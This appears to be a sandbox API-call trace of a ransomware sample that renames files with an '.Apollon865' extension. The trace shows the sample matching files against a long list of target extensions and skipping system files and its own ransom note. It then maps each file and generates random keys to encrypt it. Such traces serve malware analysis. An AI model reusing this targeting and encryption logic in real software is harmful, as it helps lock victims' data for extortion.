	[0053.278] lstrlenW (lpString="mdbhtml") returned 7
	[0053.278] lstrlenW (lpString="mdn") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0053.278] lstrlenW (lpString="mdt") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0053.278] lstrlenW (lpString="mfd") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0053.278] lstrlenW (lpString="mpd") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0053.278] lstrlenW (lpString="mrg") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0053.278] lstrlenW (lpString="mud") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0053.278] lstrlenW (lpString="mwb") returned 3
	[0053.278] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0053.278] lstrlenW (lpString="myd") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0053.279] lstrlenW (lpString="ndf") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0053.279] lstrlenW (lpString="nnt") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0053.279] lstrlenW (lpString="nrmlib") returned 6
	[0053.279] lstrcmpiW (lpString1="SN.url", lpString2="nrmlib") returned 1
	[0053.279] lstrlenW (lpString="ns2") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0053.279] lstrlenW (lpString="ns3") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0053.279] lstrlenW (lpString="ns4") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0053.279] lstrlenW (lpString="nsf") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0053.279] lstrlenW (lpString="nv") returned 2
	[0053.279] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0053.279] lstrlenW (lpString="nv2") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0053.279] lstrlenW (lpString="nwdb") returned 4
	[0053.279] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0053.279] lstrlenW (lpString="nyf") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0053.279] lstrlenW (lpString="odb") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.279] lstrlenW (lpString="odb") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0053.279] lstrlenW (lpString="oqy") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0053.279] lstrlenW (lpString="ora") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0053.279] lstrlenW (lpString="orx") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0053.279] lstrlenW (lpString="owc") returned 3
	[0053.279] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0053.280] lstrlenW (lpString="p96") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0053.280] lstrlenW (lpString="p97") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0053.280] lstrlenW (lpString="pan") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0053.280] lstrlenW (lpString="pdb") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0053.280] lstrlenW (lpString="pdm") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0053.280] lstrlenW (lpString="pnz") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0053.280] lstrlenW (lpString="qry") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0053.280] lstrlenW (lpString="qvd") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0053.280] lstrlenW (lpString="rbf") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0053.280] lstrlenW (lpString="rctd") returned 4
	[0053.280] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0053.280] lstrlenW (lpString="rod") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0053.280] lstrlenW (lpString="rodx") returned 4
	[0053.280] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0053.280] lstrlenW (lpString="rpd") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0053.280] lstrlenW (lpString="rsd") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0053.280] lstrlenW (lpString="sas7bdat") returned 8
	[0053.280] lstrlenW (lpString="sbf") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0053.280] lstrlenW (lpString="scx") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="scx") returned 1
	[0053.280] lstrlenW (lpString="sdb") returned 3
	[0053.280] lstrcmpiW (lpString1="url", lpString2="sdb") returned 1
	[0053.281] lstrlenW (lpString="sdc") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="sdc") returned 1
	[0053.281] lstrlenW (lpString="sdf") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="sdf") returned 1
	[0053.281] lstrlenW (lpString="sis") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="sis") returned 1
	[0053.281] lstrlenW (lpString="spq") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="spq") returned 1
	[0053.281] lstrlenW (lpString="te") returned 2
	[0053.281] lstrcmpiW (lpString1="rl", lpString2="te") returned -1
	[0053.281] lstrlenW (lpString="teacher") returned 7
	[0053.281] lstrlenW (lpString="tmd") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="tmd") returned 1
	[0053.281] lstrlenW (lpString="tps") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="tps") returned 1
	[0053.281] lstrlenW (lpString="trc") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.281] lstrlenW (lpString="trc") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="trc") returned 1
	[0053.281] lstrlenW (lpString="trm") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="trm") returned 1
	[0053.281] lstrlenW (lpString="udb") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="udb") returned 1
	[0053.281] lstrlenW (lpString="udl") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="udl") returned 1
	[0053.281] lstrlenW (lpString="usr") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="usr") returned -1
	[0053.281] lstrlenW (lpString="v12") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="v12") returned -1
	[0053.281] lstrlenW (lpString="vis") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="vis") returned -1
	[0053.281] lstrlenW (lpString="vpd") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="vpd") returned -1
	[0053.281] lstrlenW (lpString="vvv") returned 3
	[0053.281] lstrcmpiW (lpString1="url", lpString2="vvv") returned -1
	[0053.282] lstrlenW (lpString="wdb") returned 3
	[0053.282] lstrcmpiW (lpString1="url", lpString2="wdb") returned -1
	[0053.282] lstrlenW (lpString="wmdb") returned 4
	[0053.282] lstrcmpiW (lpString1=".url", lpString2="wmdb") returned -1
	[0053.282] lstrlenW (lpString="wrk") returned 3
	[0053.282] lstrcmpiW (lpString1="url", lpString2="wrk") returned -1
	[0053.282] lstrlenW (lpString="xdb") returned 3
	[0053.282] lstrcmpiW (lpString1="url", lpString2="xdb") returned -1
	[0053.282] lstrlenW (lpString="xld") returned 3
	[0053.282] lstrcmpiW (lpString1="url", lpString2="xld") returned -1
	[0053.282] lstrlenW (lpString="xmlff") returned 5
	[0053.282] lstrcmpiW (lpString1="N.url", lpString2="xmlff") returned -1
	[0053.282] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.Apollon865") returned 58
	[0053.282] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.apollon865"), dwFlags=0x1) returned 1
	[0053.283] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.Apollon865" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0053.283] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0053.283] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0053.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0053.284] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0053.284] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0053.284] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.285] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0xc0
	[0053.286] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0053.287] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0053.288] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0053.288] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0053.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0053.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0053.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0053.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0053.288] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0053.288] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0053.288] CloseHandle (hObject=0xc0) returned 1
	[0053.288] CloseHandle (hObject=0x118) returned 1
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0053.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0053.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0053.289] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="Apollon865.txt.exe") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="..") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="windows") returned -1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="bootmgr") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="temp") returned -1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="pagefile.sys") returned -1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="boot") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ids.txt") returned 1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="ntuser.dat") returned -1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="perflogs") returned -1
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2="MSBuild") returned 1
	[0053.289] lstrlenW (lpString="MSNBC News.url") returned 14
	[0053.289] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned 47
	[0053.289] lstrcpyW (in: lpString1=0x119e658, lpString2="MSNBC News.url" | out: lpString1="MSNBC News.url") returned="MSNBC News.url"
	[0053.289] lstrlenW (lpString="MSNBC News.url") returned 14
	[0053.289] lstrlenW (lpString="Apollon865") returned 10
	[0053.289] lstrcmpiW (lpString1="C News.url", lpString2="Apollon865") returned 1
	[0053.289] lstrlenW (lpString=".dll") returned 4
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".dll") returned 1
	[0053.289] lstrlenW (lpString=".lnk") returned 4
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".lnk") returned 1
	[0053.289] lstrlenW (lpString=".ini") returned 4
	[0053.289] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".ini") returned 1
	[0053.289] lstrlenW (lpString=".sys") returned 4
	[0053.290] lstrcmpiW (lpString1="MSNBC News.url", lpString2=".sys") returned 1
	[0053.290] lstrlenW (lpString="MSNBC News.url") returned 14
	[0053.290] lstrlenW (lpString="bak") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0053.290] lstrlenW (lpString="ba_") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0053.290] lstrlenW (lpString="dbb") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0053.290] lstrlenW (lpString="vmdk") returned 4
	[0053.290] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0053.290] lstrlenW (lpString="rar") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0053.290] lstrlenW (lpString="zip") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0053.290] lstrlenW (lpString="tgz") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0053.290] lstrlenW (lpString="vbox") returned 4
	[0053.290] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0053.290] lstrlenW (lpString="vdi") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0053.290] lstrlenW (lpString="vhd") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0053.290] lstrlenW (lpString="vhdx") returned 4
	[0053.290] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0053.290] lstrlenW (lpString="avhd") returned 4
	[0053.290] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0053.290] lstrlenW (lpString="db") returned 2
	[0053.290] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0053.290] lstrlenW (lpString="db2") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0053.290] lstrlenW (lpString="db3") returned 3
	[0053.290] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0053.290] lstrlenW (lpString="dbf") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0053.291] lstrlenW (lpString="mdf") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0053.291] lstrlenW (lpString="mdb") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0053.291] lstrlenW (lpString="sql") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0053.291] lstrlenW (lpString="sqlite") returned 6
	[0053.291] lstrcmpiW (lpString1="ws.url", lpString2="sqlite") returned 1
	[0053.291] lstrlenW (lpString="sqlite3") returned 7
	[0053.291] lstrcmpiW (lpString1="ews.url", lpString2="sqlite3") returned -1
	[0053.291] lstrlenW (lpString="sqlitedb") returned 8
	[0053.291] lstrcmpiW (lpString1="News.url", lpString2="sqlitedb") returned -1
	[0053.291] lstrlenW (lpString="xml") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0053.291] lstrlenW (lpString="$er") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0053.291] lstrlenW (lpString="4dd") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0053.291] lstrlenW (lpString="4dl") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0053.291] lstrlenW (lpString="^^^") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0053.291] lstrlenW (lpString="abs") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0053.291] lstrlenW (lpString="abx") returned 3
	[0053.291] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0053.291] lstrlenW (lpString="accdb") returned 5
	[0053.291] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0053.291] lstrlenW (lpString="accdc") returned 5
	[0053.291] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0053.291] lstrlenW (lpString="accde") returned 5
	[0053.291] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0053.291] lstrlenW (lpString="accdr") returned 5
	[0053.291] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0053.292] lstrlenW (lpString="accdt") returned 5
	[0053.292] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0053.292] lstrlenW (lpString="accdw") returned 5
	[0053.292] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0053.292] lstrlenW (lpString="accft") returned 5
	[0053.292] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0053.292] lstrlenW (lpString="adb") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.292] lstrlenW (lpString="adb") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0053.292] lstrlenW (lpString="ade") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0053.292] lstrlenW (lpString="adf") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0053.292] lstrlenW (lpString="adn") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0053.292] lstrlenW (lpString="adp") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0053.292] lstrlenW (lpString="alf") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0053.292] lstrlenW (lpString="ask") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0053.292] lstrlenW (lpString="btr") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0053.292] lstrlenW (lpString="cat") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0053.292] lstrlenW (lpString="cdb") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0053.292] lstrlenW (lpString="ckp") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0053.292] lstrlenW (lpString="cma") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0053.292] lstrlenW (lpString="cpd") returned 3
	[0053.292] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0053.292] lstrlenW (lpString="dacpac") returned 6
	[0053.293] lstrcmpiW (lpString1="ws.url", lpString2="dacpac") returned 1
	[0053.293] lstrlenW (lpString="dad") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0053.293] lstrlenW (lpString="dadiagrams") returned 10
	[0053.293] lstrcmpiW (lpString1="C News.url", lpString2="dadiagrams") returned -1
	[0053.293] lstrlenW (lpString="daschema") returned 8
	[0053.293] lstrcmpiW (lpString1="News.url", lpString2="daschema") returned 1
	[0053.293] lstrlenW (lpString="db-journal") returned 10
	[0053.293] lstrcmpiW (lpString1="C News.url", lpString2="db-journal") returned -1
	[0053.293] lstrlenW (lpString="db-shm") returned 6
	[0053.293] lstrcmpiW (lpString1="ws.url", lpString2="db-shm") returned 1
	[0053.293] lstrlenW (lpString="db-wal") returned 6
	[0053.293] lstrcmpiW (lpString1="ws.url", lpString2="db-wal") returned 1
	[0053.293] lstrlenW (lpString="dbc") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0053.293] lstrlenW (lpString="dbs") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0053.293] lstrlenW (lpString="dbt") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0053.293] lstrlenW (lpString="dbv") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0053.293] lstrlenW (lpString="dbx") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0053.293] lstrlenW (lpString="dcb") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0053.293] lstrlenW (lpString="dct") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0053.293] lstrlenW (lpString="dcx") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0053.293] lstrlenW (lpString="ddl") returned 3
	[0053.293] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0053.293] lstrlenW (lpString="dlis") returned 4
	[0053.293] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0053.294] lstrlenW (lpString="dp1") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0053.294] lstrlenW (lpString="dqy") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0053.294] lstrlenW (lpString="dsk") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0053.294] lstrlenW (lpString="dsn") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0053.294] lstrlenW (lpString="dtsx") returned 4
	[0053.294] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0053.294] lstrlenW (lpString="dxl") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0053.294] lstrlenW (lpString="eco") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0053.294] lstrlenW (lpString="ecx") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0053.294] lstrlenW (lpString="edb") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0053.294] lstrlenW (lpString="epim") returned 4
	[0053.294] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0053.294] lstrlenW (lpString="fcd") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0053.294] lstrlenW (lpString="fdb") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0053.294] lstrlenW (lpString="fic") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0053.294] lstrlenW (lpString="flexolibrary") returned 12
	[0053.294] lstrcmpiW (lpString1="NBC News.url", lpString2="flexolibrary") returned 1
	[0053.294] lstrlenW (lpString="fm5") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0053.294] lstrlenW (lpString="fmp") returned 3
	[0053.294] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0053.294] lstrlenW (lpString="fmp12") returned 5
	[0053.294] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0053.294] lstrlenW (lpString="fmpsl") returned 5
	[0053.294] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0053.295] lstrlenW (lpString="fol") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0053.295] lstrlenW (lpString="fp3") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0053.295] lstrlenW (lpString="fp4") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0053.295] lstrlenW (lpString="fp5") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0053.295] lstrlenW (lpString="fp7") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0053.295] lstrlenW (lpString="fpt") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0053.295] lstrlenW (lpString="frm") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0053.295] lstrlenW (lpString="gdb") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.295] lstrlenW (lpString="gdb") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0053.295] lstrlenW (lpString="grdb") returned 4
	[0053.295] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0053.295] lstrlenW (lpString="gwi") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0053.295] lstrlenW (lpString="hdb") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0053.295] lstrlenW (lpString="his") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0053.295] lstrlenW (lpString="ib") returned 2
	[0053.295] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0053.295] lstrlenW (lpString="idb") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0053.295] lstrlenW (lpString="ihx") returned 3
	[0053.295] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0053.295] lstrlenW (lpString="itdb") returned 4
	[0053.295] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0053.295] lstrlenW (lpString="itw") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0053.296] lstrlenW (lpString="jet") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0053.296] lstrlenW (lpString="jtx") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0053.296] lstrlenW (lpString="kdb") returned 3
	[0053.296] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0053.296] lstrlenW (lpString="kexi") returned 4
	[0053.296] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0053.296] lstrlenW (lpString="kexic") returned 5
	[0053.296] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0053.296] lstrlenW (lpString="kexis") returned 5
	[0053.296] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0053.296] lstrlenW (lpString="lgc") returned 3
